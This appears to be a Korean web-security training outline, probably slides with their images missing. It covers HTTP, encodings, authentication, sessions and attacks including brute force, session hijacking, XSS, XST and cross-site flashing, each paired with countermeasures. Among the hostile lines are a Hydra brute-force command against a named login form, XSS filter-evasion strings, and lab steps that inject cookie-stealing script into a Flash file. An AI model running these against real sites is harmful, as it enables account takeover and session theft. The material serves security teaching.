Web 기초
World Wide Web 이란?
- a.k.a WWW, Web
- 전 세계에 있는 네트워크에 연결된 시스템을 통해 정보를 공유할 수 있는 정보 공간이다.
WWW의 역사
- 1989년 3월 유럽 입자 물리 연구소(CERN)의 연구원인 팀 버너스 리의 제안으로 시작되어 연구, 개발되었다.
- 웹에 관련된 기술은 World Wide Web 콘소시엄(W3C)이 개발하고 있다. W3C는 HTML, HTTP 등의 표준화를 진행하고 있으며, 최근에는 시맨틱 웹에 관련된 표준을 제정하고 있다.
Web의 구조
HTTP(Hyper Text Transfer Protocol)
- Web 상에서 정보를 주고 받기 위한 핵심 Protocol
- 정적인 텍스트 자원을 송/수신하기 위해 개발되었다.
- 애플리케이션 레벨의 Protocol
- 메세지 기반으로 동작한다.
HTTP Packet Layout
HTTP 프로토콜의 특징
TCP 기반의 프로토콜
- 패킷 송/수신 전에 TCP-3way Handshaking이 선행 되어야 한다.
Text 형태의 프로토콜
- ASCII 코드의 Printable Character 들로 구성되어 있다.
HTTP Version
- HTTP 1.0
┌ 1996년 발표 되었다.
└ RFC 1945에 정의 : http://www.w3.org/Protocols/rfc1945/rfc1945
- HTTP 1.1
┌ 1999년 발표 되었다.
└ RFC 2616에 정의 : http://www.w3.org/Protocols/rfc2616/rfc2616.html
HTTP 1.1에서 추가된 사항
- 지속적인 연결
- 가상호스트(Virtual Host)
└ v1.1인 경우 반드시 HTTP Header에 Host 값을 포함해야 한다.
- 계층적 프록시(Hierarchical proxies)
- 캐시
HTTP Request 와 Response의 구조
HTTP Request
- 웹 클라이언트가 웹 서버에게 자원을 요청하는 것
HTTP Request의 형식
- Method
└ OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT, extension-method
- Request-URI
┌ *, absoluteURI, absolutePath, authority
└ Request-URI에 URL 인코딩 된 값이 들어갈 수 있다.
HTTP 주요 Method
HTTP Request 예제
HTTP Response
- 클라이언트의 요청에 대한 서버의 응답
HTTP Response의 형식
Response의 주요 응답 코드
HTTP Response 예제
Header Fields의 종류
- General Header
┌ 메세지 처리를 제어하거나 클라이언트에게 부가정보를 알려주기 위해 사용한다.
├ Request와 Response에 둘다 이용된다.
└ 실제 데이터와는 연관이 없다.
- Request Header
┌ 클라이언트의 요청에 대한 부가적인 내용을 포함한다.
└ 서버가 요청을 처리하는 방법에 대해 클라이언트가 좀 더 제어할 수 있도록 한다.
- Response Header
└ Status Line의 요약결과에 따른 부가정보를 제공한다.
- Entity Header
└ 데이터에 포함된 내용을 설명하는 정보이다.
General Header Fields
Request Header Fields
Response Header Fields
Entity Header Fields
HTTP GET Method
- Getmethod
┌ 웹 서버에게 URL에 해당하는 자원을 요청할 때 사용한다.
└ URL에 덧붙여 Parameter를 전달 할 수 있다.
┌ ? : URL과 Parameter사이의 구분
├ & : 여러 개의 Parameter를 전달할 경우 Parameter간의 구분
└ 브라우저에 의해 URL Encoding되어 전달된다.
HTTP POST Method
- 서버에게 데이터를 전달 할 때 사용하는 Method
- HTML Form 태그를 이용하여 POST Method를 발생
- 서버에 전달할 데이터는 HTTP Body에 넣어 전달
GET과 POST의 차이점
- HTTP 스펙에 GET과 POST의 용도 정의
┌ GET : 서버의 자원을 요청할 때 사용한다.
└ POST : 서버에게 데이터를 전송할 때 사용한다.
- GET과 POST의 가장 큰 차이점
┌ 데이터 전달 방식
└ 데이터 전송 량
HEAD Method
- GET과 같은 요청이지만, 자료에 대한 정보만을 받게 된다.
- HTTP의 HEADER을 요청한다.
HEAD Method의 용도
- Meta 정보 획득
- Hyper Text의 링크 유효성 검사
TRACE Method
- 요청한 Request를 그대로 응답한다.
PUT Method
- 해당 URL에 자원을 생성
Delete Method
- 해당 URL의 자원을 삭제
OPTIONS Method
- 해당 자원에 허용된 Method를 반환
Web Language
HTML(Hypertext Markup Language)
- SGML로부터 파생되었으며 Hypertext를 지원하는 언어이다.
- 인터넷에서 웹 페이지를 표시하기 위해 사용한다.
- 웹 브라이저를 통해 파싱되고 표현된다.
- HTTP를 통해 송/수신된다.
- HTML 태그를 사용한다.
- 타 언어에서는 DOM을 이용하여 HTML 객체에 접근이 가능하다.
HTML의 한계
- 링크 메커니즘이 약하다.
- HTML은 데이터의 교환에는 부적합하다.
- 재사용할 수 없다.
- HTML은 확장할 수 없다.
Web Language
- 기본적으로 HTML 문서포맷을 이용하여 웹 페이지를 표시한다.
- 동적인 웹을 위해 SSS나 CSS가 이용된다.
- CSS(Client Side Script)
┌ JavaScript
├ VBScript
└ Jscript
- SSS(Server Side Script)
┌ ASP
├ ASP.NET (C#, VBScript)
├ PHP
├ JSP
├ CGI (Common Gateway Interface)
└ 주로 C나 Perl을 이용하여 구현한다.
└ 그 외 Python, Ruby 등 다양한 언어가 사용된다.
HTML DOM (Document Object Model)
- HTML 문서의 내용에 접근하고, 조작하기 위해 표준화된 방법이다.
- HTML의 문서를 Tree 구조로 표현한다.
- JavaScript에 의해 DOM의 내용을 제어할 수 있다.
DOM
Javascript
- 가장 널리 사용되는 클라이언트 측 스크립트 언어
- 객체지향형 언어
- 웹 사이트에서 동적인 클라이언트 환경을 위해 주로 사용된다.
- 브라우저에 의해 수행된다.
- 대 소문자 구분
JScript
- Microsoft사에서 Javascript와 유사하게 만든 클라이언트측 스크립트
VBScript
- 주로 서버 측 ASP언어로 사용되나 클라이언트 측 언어로 이용될 수도 있다.
- 객체지향기능이 없음으로 Javascript보다 활용성이 떨어진다.
- VB의 문법을 이용, 대소문자 구분하지 않는다.
Javascript & VBScript 예제
ASP(Active Server Page)
- 서버 측 스크립트 언어, VBScript 기반
- IIS 3.0 이상에서 동작한다.
- 동적인 페이지를 구성하기 위해 사용한다.
- 클라이언트가 ASP를 요청하면 ASP를 수행시킨 결과값을 응답으로 받게 된다.
└ ASP의 코드 자체는 클라이언트에게 제공하지 않는다.
ASP.NET
- Microsoft사의 닷넷(.NET)시스템 상에서 동작하는 서버 측 스크립트
- VBScript에서 벗어나 객체지향적인 코드를 지원한다.
┌ ASP의 단점을 보완하였다.
└ VisualBasic, C#, C++ 등이 이용된다.
- 디자인과 코드가 분리된 형태로 제작가능하다.
└ JSP에서 사용하는 MVC 패턴과 유사하다.
PHP
- 원래 Personal Home Page의 약자이다.
- 현재 공식적으로는 Professional Hypertext Preprocessor의 약자이다.
- Apache와 주로 연동하여 사용하는 서버측 스크립트 언어이다.
- 무료 오픈 소스로 제공된다.
- HTML 처리나 문서처리, 정규 표현식 등에 효율적이다.
JSP(Java Server Page)
- 웹에서 사용되는 서버 측 스크립트 언어
- 자바를 기반으로 한다.
- JSP 2.0은 J2EE(Java2 Enterprise Edition) 1.4에 포함되어 있다.
- JSP 파일을 클라이언트가 호출하면 서블릿 코드로 변환 후 컴파일하여 서블릿 클래스 형태로 보관한다.
JSP의 장점
- 자바 언어를 기반으로 하기 때문에 플랫폼에 관계없이 사용이 가능하다.
- EJB 기술과 완벽하게 호환된다.
- 대규모의 사이트 구축에 적합하다.
주요 JSP 엔진
- TOMCAT, Resin, JRUN
Encoding Schema
웹에서 사용되는 인코딩 종류
- ASCII
- URL Encoding
- Force Full URL Encoding
- HTML Encoding
- Unicode Encoding
- MS-Script
- Base64 Encoding
- Etc..
ASCII
- American Standard Code for Intermation Interchange의 약자이다.
- 미국 정보 교환 표준 부호이다.
- 영문 알파벳을 사용하는 대표적인 인코딩 방법이다.
- 7Bit로 이루어져 있다. (총 128개의 문자)
┌ 33개의 제어문자
└ 95개의 출력가능 문자
┌ 52개 영문자 (대/소)
├ 10개 숫자
├ 32개 특수문자
└ 1개 공백
- ASCII 기반의 확장 인코딩 방식들이 많이 생겨났다.
└ ISO/IEC 646, ISO 8859 등
ASCII Code
URL Encoding
- URL에는 US-ASCII의 문자들 중 출력이 가능한 문자들만을 포함한다.
- URL에 포함되는 문자들을 안전하게 웹 서버에 전달 되도록 특수한 기능을 가진 문자들을 브라우저가 인코딩하여 전달한다.
URL Encoding의 형식
- 원래 문자열의 Hex값 앞에 %를 사용
URL Encoding 예제
URL Meta Character
브라우저에 따른 URL Encoding 문자
- 브라우저에 따라서 URL Encoding 하는 문자의 차이가 있다.
Force Full URL Encoding
- 강제적으로 모든 문자를 URL Encoding 하는 기법이다.
- IDS 등을 우회하기 위한 용도로 사용될 수 있다.
Force Full URL Encoding 예제
HTML Encoding
- HTML문서 내에서 특별한 기능을 수행하는 문자들을 안전하게 브라우저에 표현하기 위해 사용하는 인코딩 방법이다.
- XSS 공격에 대응하기 위한 방법으로 사용된다.
Multi Byte code
- EUC-KR
┌ 8비트 문자인코딩
└ 대표적인 한글 완성형 인코딩
- Code Page 949
┌ 마이크로소프트 한글 윈도우에서 사용되는 코드페이지
└ EUC-KR의 확장
- Unicode
┌ 전 세계에 존재하는 다양한 문자코드를 표현하기 위해 만들어진 인코딩 방법이다.
└ 16Bit Unicode Encoding을 이용하는 방법은 URL Encoding과 유사하다.
└ %u 를 Unicode 앞에 붙인다.
└ ex) %u2215 : /
- UTF-8
┌ 유니코드를 위한 가변 길이 문자 인코딩 방법 중 하나이다.
└ 1~4 bytes 까지 사용한다.
├ 가장 널리 사용되며 Windows98 부터 지원한다.
└ 표기방법은 URL Encoding과 동일하다.
└ %를 UTF-8 코드 앞에 붙인다.
MS Script Encoding
- 클라이언트 측에 전달되는 JScript의 로직을 보호하기 위해 사용되는 인코딩 방법이다.
- Microsoft 사에서 제공하는 인코딩 기법으로 Internet Explorer(IE)에서만 사용이 가능하다.
└ IE에는 MS Script decoder가 내장되어 있다.
- 인코딩 되어있는 코드인 경우에는 아래와 같이 인코딩 되었음을 브라우저에게 알려주게 된다.
└ <script language="JScript.Encode">
- Encoder
└ MS 사에서 다운로드 받을 수 있다.
┌ Sce10en.exe(영문판)
└ Sce10ko.exe(한글판)
- Decoder
┌ IE에 내장되어 있다.
└ 알고리증이 밝혀졌다.
┌ Scrdec18.exe
└코드페이지 설정 URL / HTML 디코딩 가능
└ Scrdec18.exe exploit.html decode1.html
MS Script Encoding 전
MS Script Encoding 후
Base64 Encoding
- MIME에 주로 사용한다.
- Web 인증 중 하나인 기본인증(Basic Authentication)에도 사용된다.
- 2진 데이터를 ASCII 형태의 텍스트로 표현이 가능하다.
Base64 Encoding 구성
- 64개의 문자로 구성된다.
┌ 알파벳 대문자 : 26자
├ 알파벳 소문자 : 26자
├ 숫자 : 10자
└ 특수문자 : + / 2자
- 6Bit로 한 문자를 표현한다.
- =는 padding 값으로 사용한다. (n%3 만큼 패딩)
Web Authentication
Type of Web Authentication
- Basic Authentication
┌ 웹 서버에 보낼 아이디와 암호를 Base64 방식으로 인코딩 후 전달한다.
└ 사용자 계정은 시스템 계정이 이용된다.
- HTTP Digest Authentication
┌ Challenge / Response / Nonce
├ Windows의 경우 Domain 계정을 이용하여 인증
└ MD5 Hash 값 이용
- HTTP NTLM Authentication
┌ Challenge / Response 방식
├ Explore와 IIS에서만 사용가능
└ 호환성을 위해 웹 인증에 NTLM은 사용되지 않는다.
- Anonymous Authentication
└ Web Server에서 제공하는 익명계정을 이용하여 서버의 자원을 클라이언트에게 제공
- Form Based Authentication
┌ HTML에서 지원하는 Form 태그를 이용하여 인증정보를 서버 측에 전송
├ 대부분의 웹 애플리케이션에서 사용하는 방식
└ SSL을 이용한 암호화가 필요하다.
Basic Authentication
- 클라이언트는 인증에 사용되는 ID와 Password를 Base64 방식으로 인코딩하여 웹 서버에 전달한다. Base64 방식을 사용하기 때문에 Sniffing에 의해 ID와 Password가 노출될 수 있다.
└ IIS의 Basic 인증 설정
- Basic 인증을 하도록 설정된 웹 사이트에 접근을 할 경우 인증창이 뜬다.
- ID와 Password는 Base64형태로 인코딩 되어 서버에 전달된다.
┌ 아이디:암호 형태를 Base64방식으로 인코딩
└ ex) 아이디:nuno, 암호:1234인 경우 noun:1234라는 문자열 인코딩 하여 전달
Form Basic Authentication
- HTML Form 태그를 이용하여 사용자로부터 ID와 Password를 입력 받은 후 HTTP를 이용하여 웹 서버에 전달한다.
- 웹 서버에서 가장 많이 사용하는 인증방식이다.
- 서버에 전달되는 ID와 Password는 평문으로 전달된다.
- ID와 Password를 노출시키지 않기 위해 암호화 통신을 이용한다.
Session Management
Session Token
- Session을 인증하기 위한 정보이다.
- 인증에 관련된 정보는 서버와 클라이언트 양쪽에 저장되어야 한다.
- 일반적으로 Web Application Server에서 지원하는 해쉬값이 Token으로 사용된다.
- 웹 서버가 물리적으로 여러 대 인 경우 WAS에서 발행한 Session ID만으로 인증이 불가능하다.
Web Application Server에서 지원하는 Session Token
- ASP : ASPSESSIONID
- JSP : JSESSIONID
- PHP : PHPSESSIONID
Session 이란?
- 어떤 일이 시작되는 시점부터 끝날 때 까지를 의미한다.
- 네트워크에서는 두 대의 시스템간의 활성화된 접속을 의미한다.
Web Session의 특징
- TCP 기반의 프로토콜이지만 지속적인 연결이 필요하지 않은 웹 서비스의 특성상 TCP의 Connection Oriented한 성격을 잃어버린다.
- 비 연속적으로 접근하는 웹 클라이언트를 구분하기 위하여 Session Token을 사용해야 한다.
Session Management
- 클라이언트가 웹 서버에 최초로 접근하게 되면 서버는 Session Token을 발생한다.
- 서버로부터 발행된 Session Token은 Session이 활성화 되어있는 동안 웹 서버와 클라이언트 양쪽에 모두 보관되어 유지되어야 한다.
- 클라이언트에 저장된 Session Token은 서버에게 Request시 항상 포함된다.
- Session이 종료되면 Session Token은 파기되어야 한다.
일반적인 Session Management 절차
HTML 페이지에 저장하는 방식
- Hidden field
┌ Hidden field를 이용하여 Session Token을 HTML 코드 내에 저장된다.
└ 위험성이 널리 알려져 요즘에는 세션정보를 저장하는 용도로 사용하지 않는다.
- URL Rewriting
┌ URL에 Session Token을 덧붙여 사용한다.
└ 웹 브라우저에서 쿠키를 사용하지 못하도록 설정한 경우 주로 사용된다.
Cookie에 저장하는 방식
- Session Token은 Cookie의 Expires에 따라서 메모리 혹은 디스크에 저장된다.
└ Session Cookie, Persistent Cookie
- Session Cookie에 저장하는 방식이 가장 널리 사용된다.
Hidden Field
- Session을 관리하기 위한 방법 중 하나로 웹 페이지의 Form에 Hidden Field를 이용한다.
- Form에 입력된 데이터는 GET이나 POST방식을 이용하여 웹 서버에 전달된다.
- Input 컨트롤의 type 속성에 "Hidden"을 설정하면 컨트롤이 보이지 않게 된다. 그러나 내부적으로는 데이터를 보유하고 있으며 Submit 버튼 클릭 시 웹 서버로 데이터가 전달된다.
- 문제점
Hidden Field는 브라우저 화면에 표시 되지는 않지만 소스보기를 이용하여 확인 할 수 있으며 공격자가 악의적인 목적에 의해 값을 변조 할 수 있다. 그럼으로 Hidden Field는 중요한 데이터의 저장에 이용되어서는 안된다.
URL Rewriting
- 웹 브라우저가 쿠키를 저장하지 않도록 되어있는 경우 사용할 수 있는 방법이다.
- 웹 서버가 클라이언트를 구별하기 위한 Session 정보를 URL에 포함시킨다.
- Hidden Form Field와 비슷하나 이 방법은 GET방식에만 사용될 수 있다.
Cookie란?
- Web Application Server가 클라이언트 식별에 사용되는 정보를 클라이언트에게 저장하기 위해 가장 널리 사용되는 방법이다.
- 서버에서 발행하거나 스크립트에 의해 저장된다.
┌ Response Header의 Set-Cookie를 이용한다.
└ Javascript로 document.cookie에 접근 가능하다.
- 쿠키를 발행한 사이트에서만 읽을 수 있다.
- 각 호스트마다 최대 20개 까지 사용가능하다.
- 각 쿠키는 4KB를 넘지 못한다.
└ 브라우저마다 다를 수 있다.
Cookie의 용도
- Session을 관리하기 위한 Session Token
└ 일반적으로 Session Cookie(브라우저 캐시)에 저장된다.
- 개인화된 컨텐츠를 제공하기 위한 정보
┌ 개인정보
├ 사용자 취향
└ 장바구니 정보
- 클라이언트 관리에 필요한 정보
└ 웹 사이트 이용방식 추적
- 임시데이터
└ Ex) 팝업 창 제한 설정
웹사이트 접속 시 브라우저의 Cookie 사용 절차
Persistent Cookie vs Session Cookie
Cookie의 생성코드
- 아래의 내용이 Response Header에 포함되면 브라우저는 쿠키를 생성하게 된다.
Internet Explorer의 Cookie Format
Persistent Cookie의 위치
- Persistent Cookie의 경우 하드디스크에 저장되는데 그 위치는 브라우저에 따라 다르다.
- Internet Explorer의 경우
┌ IE6
└ C:\Documents and Sesstings\<ID>\Cookies
└ IE7
└ C:\Documents and Sesstings\<ID>\Local Settings\Temporary Internet Files
FireFox Cookie
해당 사이트에서 사용하는 Cookie 확인
- javascript:document.cookie
Web 취약점 리스트
OWASP(Open Web Application Security Project)
- http://www.owasp.org
- Web Application 보안을 위한 Open Source Project
- 웹 보안에 관한 다양한 점검리스트, 가이드, 툴 등의 자료 제공
- 한국어 번역판도 제공
OWASP TOP 10 List
OWASP Testing Guide
- Information Gathering
- Business Logic Testing
- Authentication Testing
- Session Management Testing
- Data Validation Testing
- Denial of Service Testing
- Web Service Testing
- AJAX Testing
WASC(Web Application Security Consortium)
- 웹보안의 표준을 위해 구성된 국제단체
- http://www.webappsec.org/
Web Security Threat Classification
Web 해킹 툴
Vulnerability Scanners / Proxy Tools
- 취약점 스캐너의 종류
┌ Nikto
├ Wikto
├ AppScan
├ Acunetix
├ Nessus
└ Etc
- Web Proxy Tool의 종류
┌ Achilles
├ Paros
├ Burp Suite
├ Web Scarab
├ Fiddler
└ Etc
Information Gathering
Banner Grabbing
- 서비스에 이용되는 대부분의 소프트웨어들은 자신의 버전과 모듈정보를 사용자에게 제공한다.
- 공격자는 이 정보를 수집하여 웹 서버나 웹 모듈정보 등을 획득할 수 있다.
HTTP Fingerprinting
- Banner Grabbing에 의해 정보를 수집하지 못하도록 Server 파라미터를 변조하거나, 제공하지 않을 경우도 있다.
- 여러가지 값들을 서버로 전달하여 정보를 얻어낼 수 있다.
Netcraft
- http://www.netcraft.com
- http://www.google.com
- 전 세계에서 가장 많이 사용되는 검색 엔진
Googling
- "인터넷에 검색하다"라는 의미로 사용된다.
- 강력한 검색엔진인 Google을 이용하여 인터넷 상에서 정보를 쉽고 빠르게 수집할 수 있다.
HTTP Archive
- 과거의 사이트 정보
└ http://archive.org
Web Spidering
- Web Application의 구조와 기능을 파악 하는 것
- 수작업에 의한 Browsing
- 자동화 툴에 의한 Spidering
┌ Paros
├ Burp Spider
└ WebScarab
- 자동화 툴 이용 시 주의점
┌ 복잡한 스크립트에 의해 동적으로 생성되는 메뉴의 경우 미탐 가능성 존재
├ 페이지 이동 시 정확한 입력 값을 요구하는 경우 미탐 가능성 존재
├ 무한반복 되지 않도록 해야 한다.
┌ 일회성 정보를 포함하여 URL이 생성되는 경우에는 무한반복 가능성 존재
└ 같은 URL에 POST방식으로 데이터를 전달하여 다른 페이지를 보여주는 경우 미탐 가능성 존재
└ Session이 종료되지 않도록 해야 한다.
┌ 인증이 사용되는 경우 Logout 페이지가 처리되는 경우
├ 입력 값에 민감한 애플리케이션인 경우 강제로 Session 종료
└ 페이지 별 인증 Token을 요구하는 경우
Bypassing Client Side Validation
데이터 검증 방식
- Client Side Validation
└ 브라우저에서 제공되는 기능이나, 자바스크립트, HTML 등을 이용하여 데이터를 검증 후 검즌된 데이터를 서버로 전송
- Server Side Validation
└ 검증되지 않은 데이터를 서버로 전송 후 서버 측에서 검증
장/단점
두 가지 방식을 적절히 혼용하는 것이 좋다.
소스코드 수정 하기
- Javascript가 포함된 HTML 코드를 저장 후 내용을 조작
- 경로정보를 절대경로로 변경해 주어야 한다.
Web Proxy Tool을 이용한 우회
- Request 혹은 Response 되는 데이터를 Proxy tool을 이용하여 직접 조작
인증관련 공격기법
Basic 인증 공격
- Basic 인증은 ID와 Password를 Base64 방식으로 인코딩 하여 모든 HTTP Request에 포함시켜 보낸다.
Basic 인증 공격방법
- Sniffing
└ Base64 방식으로 인코딩된 ID와 Password를 수집하여 Base64 Decoding 한다.
- Brute-forcing
└ ID와 Password를 Brute-forcing하여 계정정보를 획득한다.
Basic 인증을 사용하는 서버로부터의 응답
서버로 전달되는 ID와 Password
Base64 방식으로 Encoding된 ID와 Password 디코딩
디코딩 된 결과
다른 Decoding 툴 이용가능
- Web Proxy Tool에는 기본적인 Encoder/Decoder 기능 탑재
└ Paros, Burp 등
ID/PW Brute Forcing
- Brute Forcing 공격은 예전부터 수행해 오던 공격 기법으로 Web 애플리케이션에서도 사용될 수 있다.
- ID와 Password의 조합을 반복적으로 입력
└ 준비된 사전파일 이용 : Dictionary Attack
- 로그인 실패와 성공 시 응답되는 메세지의 내용이 다름으로 이를 이용하여 ID/PW가 올바른지 확인
사용 툴
- brutus-aet2, wwwhack, hydra 등
Hydra
- hydra -t 1 -l nuno -P pass.txt b.xcurelab.com http-post-form "/member/member_login_chcheck.asp:user_id=^USER^&user_pw=^PASS^:history"
Hydra 결과
Brutus-AET2를 이용한 Brute Forcing
ID/PW Brute Forcing 대응책
- 로그인 실패 시 제공되는 정보를 제한
┌ (X) 해당 ID가 없습니다. 비밀번호가 맞지 않습니다
└ (O) ID 또는 비밀번호가 맞지 않습니다.
- 계정 잠금 정책을 사용
└ Ex) 3회 실패 시 계정 잠금
- 로그인 처리 시간을 지연
[계정 잠금 정책 예]
추가 대응책
- 로그인 사용자의 IP를 확인하여 동시접속을 제어한다.
Web Session 관련 공격기법
Brute Forcing Session Token
- Main Cause
┌ Session Token 생성 알고리즘이 간단하여 쉽게 유추할 수 있는 경우
└ Session 관리에 사용되는 Session Token을 Guessing 이나 Brute Forcing 하여 알아 내는 것
- Impact
┌ 취득한 Session의 권한획득
└ Session이용자의 개인정보 획득 가능성 존재
- 대응책
┌ Token의 집합이 가능한 많아야 하며 랜덤하게 분포되도록 해야 한다.
├ 일련번호 등 추측이 가능한 값을 사용하지 말 것
└ 식별 가능한 구조가 되지 않도록 해야 한다.
Web Session Hijacking
- Web Session Hijacking
┌ 다른 사용자가 사용하고 있는 Session Token을 획득하여 Session을 가로채는 공격이다.
└ Session Token만을 가지고 사용자를 인증하는 경우에 발생한다.
- Inpact
└ 현재 로그인 중인 사용자의 권한을 획득
Web Session Hijacking 공격 절차
Web Session Token 획득 방법
- Sniffing을 통한 Session Token 획득
└ Sniffing을 통해 Victim의 HTTP Request 패킷에 포함된 Session Token을 획득한다.
- XSS를 통한 Session Token 획득
└ Cross Site Scripting을 이용하여 Victim의 브라우저 HTML DOM에 저장된 Session Token 획득
Web Session Hijacking 대응 방법
- Sniffing이 되지 않도록 네트워크 보안
- HTTP를 통해서 인증 토큰이 전달되지 않도록 해야 한다.
- 강력한 보안이 필요한 경우 페이지당 Token을 사용한다.
- Session Token의 만료시간을 적절히 설정한다.
- Logout한 경우 Session 종료한다.
- Session Token과 Client IP Address 또는 Port 매칭을 확인한다.
Web Session Fixation
- Preface
└ Victim이 로그인 하기 전 Victim의 Session ID를 Attacker가 원하는 값으로 고정시키는 공격방법이다.
- Impact
└ Attacker는 해당 Server에서 Victim의 계정권한을 갖게 된다.
Web Session Fixation 공격 절차
- Session 생성
┌ Permissive 방식
└ 임의의 Session ID를 생성하여 서버에 전달하면 새로운 Session이 생성된다.
Ex) PHP, Jrun, Server
└ Strict 방식
┌ 서버는 자신이 생성한 Session ID만 받아들인다.
Ex) IIS Server
└ 공격자는 Target Web Server에 접속하여 Session을 미리 생성한다.
- Session Token 전달
┌ URL
├ Hidden Form Field
├ Cookie
└ HTML Meta tag
- Victim이 접속 후 로그인 할 때까지 대기한다.
└ 접속 유도 받은 Victim이 로그인에 성공하면 Attacker는 해당 Victim의 권한으로 웹 서버를 이용한다.
Web Session Fixation 대응방법
- 익명의 사용자를 인증할 때 새로운 Session ID 발행한다.
- 임의의 Session ID를 받아들이지 않도록 한다.
XSS(Cross Site Scripting)
Preface
- 요즘의 웹 사이트는 과거의 정적인 페이지에서 벗어나 동적인 페이지를 제공한다.
- 동적인 페이지에서는 사용자의 입력을 받아 어떤 작업을 처리함으로 사용자로부터 입력된 데이터를 적절히 검증하지 않으면 보안상 취약점이 발생할 수 있다.
- 요즘 Web2.0 환경으로 변하면서 JavaScript가 널리 사용됨에 따라 AJAX를 이용한 XSS난 UCC (User Create Contents)에 의한 XSS가 재조명 되고 있다.
Main Cause
- 사용자로부터 입력된 데이터를 적절한 검증 없이 Web Document로 출력하는 경우 발생 한다.
- Attacker가 악성 Script를 입력했다면 Victim은 악성스크립트를 신뢰하는 웹 서버가 보낸 것으로 믿고 실행하게 된다.
- XSS는 서버를 공격하는 것이 아니라 서버를 경유하여 클라이언트를 공격하는 것이다.
Impact
- Cookie Access
- DOM (Document Object Mode) Access
- Clipboard Access
- Key logging
Reflective XSS (non-persistent)
- 공격자는 악성 스크립트를 포함한 URL을 Victim에게 노출한다.
└ 이메일, 메신저, 웹 게시판 등을 이용
- 악성스크립트는 서버에 저장되지 않는다.
Stored XSS (persistent)
- 공격자는 악성스크립트를 XSS에 취약한 웹 서버에 저장한다.
└ 웹 게시판, 방명록 등
- 공격자는 해당 게시물을 Victim에게 노출시킨다.
XSS에 취약한 페이지 유형
- HTML을 지원하는 게시판
- Search Page
- Personalize Page
- Join Form Page
- Referer를 이용하는 Page
- 그 외 사용자로부터 입력 받아 화면에 출력하는 모든 페이지에서 발생 가능
Search Page
- 사용자로부터 입력된 내용을 검색한 후 검색요청 값(입력문자열)을 화면에 표시하는 경우
Personalize Page
- 로그인한 사용자를 웹 서버가 인식하여 그에 따라 적절히 대응하는 페이지
└ Ex) nuno님 안녕하세요?
Referer 이용 Page
- HTTP_REFERRER 변수를 사용하여 이전페이지를 표시하는 경우
└ Ex) 귀하는 "XXX"에서 방문하셨습니다.
Join Form Page
- 회원 가입 시 필수항목을 입력하지 않은 경우 입력된 내용을 화면에 다시 표시
XSS를 유발할 수 있는 스크립트
- <script> ... </script>
- <img src="javascript:......">
- <div style="background-image:url(javascript...)"></div>
- <embed> ...... </embed>
- 등등
XSS의 Filtering 우회
- %3Cscript%3E........%3Cscript%3E
- Javascript;
- Java script
- Java
script
XSS Cheat Sheet
- http://ha.ckers.org/xss.html
└ Filtering을 우회하기 위한 다양한 스크립트 목록 제공
Cookie를 Attacker에게 전송하는 악성코드
- Image 객체 생성 후 Script를 이용하여 Image의 location 속성을 변경
- 쿠키는 HTML DOM에 구현되어 있으며 스크립트로 접근이 가능하다.
└ document.cookie
Cookie를 저장하는 스크립트 (ASP)
Cookie를 저장하는 스크립트 (PHP)
DOM (Document Object Model)
- 웹 브라우저에 의해 표현되는 자원들을 객체로 구성하여 스크립트에 의해 접근이나 조작이 가능하도록 만든 것이다.
- 트리 구조로 되어 있으며 구성요소와 속성, 내용을 갖는다.
- XSS를 이용하여 DOM를 읽고 쓸 수 있으며 이를 이용하여 페이지 조작이 가능하다.
DOM을 이용하여 웹 페이지의 그림을 변경하는 스크립트
그림의 사이즈 조절 스크립트
글자 삽입
JavaScript를 이용하여 Clipboard에 저장되어 있는 내용에 접근 가능
XSS 대응책 (Server)
- 스크립트 무효화
┌ 입력 값 검증
┌ 사용자로부터 입력되는 값을 반드시 Server 측에서 검사한다.
├ HTML 태크의 중요속성과 인코딩 방식을 이해하여 필터링한다.
└ White List 방식의 필터링을 사용한다.
├ 출력 값 인코딩
┌ 출력 값은 HTML 인코딩을 사용하여 제공한다.
└ 출력 값 코드페이지 명시 (ISO 8859-1, UTF8 등)
└ html 포맷의 입력 페이지를 최대한 줄인다.
└ 필요한 html 태그 기능만 제공한다.
- 중요한 정보는 쿠키에 저장하지 않도록 한다.
- Session과 IP를 묶어서 서버 측에서 인증한다.
- 스크립트에 의한 쿠키 접근 제한 (httponly)
- XST 공격 기법을 차단하기 위해 TRACE Method 금지한다.
XSS 대응책 (Client)
- 링크를 클릭하여 이동하지 말고 직접 URL에 주소를 입력한다.
- Flash 디폴트 실행 금지
- 웹 브라우저의 인터넷 옵션에서 개인 정보 등급 상향 조정(불필요한 쿠키 전송 금지)
- Internet Explorer의 최신 패치 적용
- 여러 사이트 동일 패스워드 사용 금지
- 주기적인 패스워드 변경
XST(Cross Site Tracing)
Preface
- TRACE Method를 이용한 공격
- 스크립트에 의해 쿠키를 읽지 못하도록 설정 되어있는 경우에 이를 우회하기 위해서 사용한다.
JavaScript로 Cookie 읽기
- HttpOnly가 설정되지 않은 Cookie는 JavaScript와 같은 스크립트로 읽을 수 있다.
HttpOnly 옵션 사용
- Set-Cookie: aaa=bbb; httponly
Cross Site Tracing Attack Flow
XST 공격이 가능한 제한 조건
- Server 측
└ 서버에서 TRACE Method를 허용해야 한다.
- Client 측
┌ TRACE Method 발생시켜야 한다.
└ TRACE의 Response Body를 제어할 수 있어야 한다.
XST 공격 스크립트
XSF(Cross Site Flashing)
XSF (Cross Site Flashing)
- Flash 파일에서 사용하는 Action Script를 이용하여 Flash파일이 포함된 페이지를 열람하는 클라이언트의 Cookie를 빼내오는 XSS 공격이다.
실습 시 준비물
- 실습에 사용할 정상적인 SWF 파일 1개
- MTASC (Motion Twin Active Script Compiler)
- SWFTools
- 악성 SWF 파일을 서비스할 웹 서버 1대
- Cookie와 클라이언트 IP를 수집할 공격자 웹 서버 1대
Action Script 코드
기존 Flash에 Script 삽입하기
- Action Script를 삽입하고자 하는 플래쉬 파일의 정보 확인
└ swfdump.exe --width --height --rate examflash.swf
- 알아낸 정보와 같은 형태의 플래쉬 파일 생성
└ mtasc.exe -swf sendcookie.swf -main -header 180:150:12 sendcookie.as
- 플래쉬 파일 결합
└ swfcombine.exe -o xss_cookie.swf -T sendcookie.swf examflash.swf
Flash 파일을 웹 페이지에 등록하기
- 공격이 성공하여 Flash파일이 클라이언트의 브라우저에서 동작하면 공격자의 웹 서버로 Cookie 값을 전송하게 된다.
대응책
- Embed 태크를 사용하지 않도록 한다.
- 사용해야 할 경우 Embed 태크를 필터링하여 스크립트가 수행되지 않도록 한다.
└ AllowScriptAccess 를 'Never'로 설정
CSRF(Cross Site Request Forgery)
CSRP의 특징
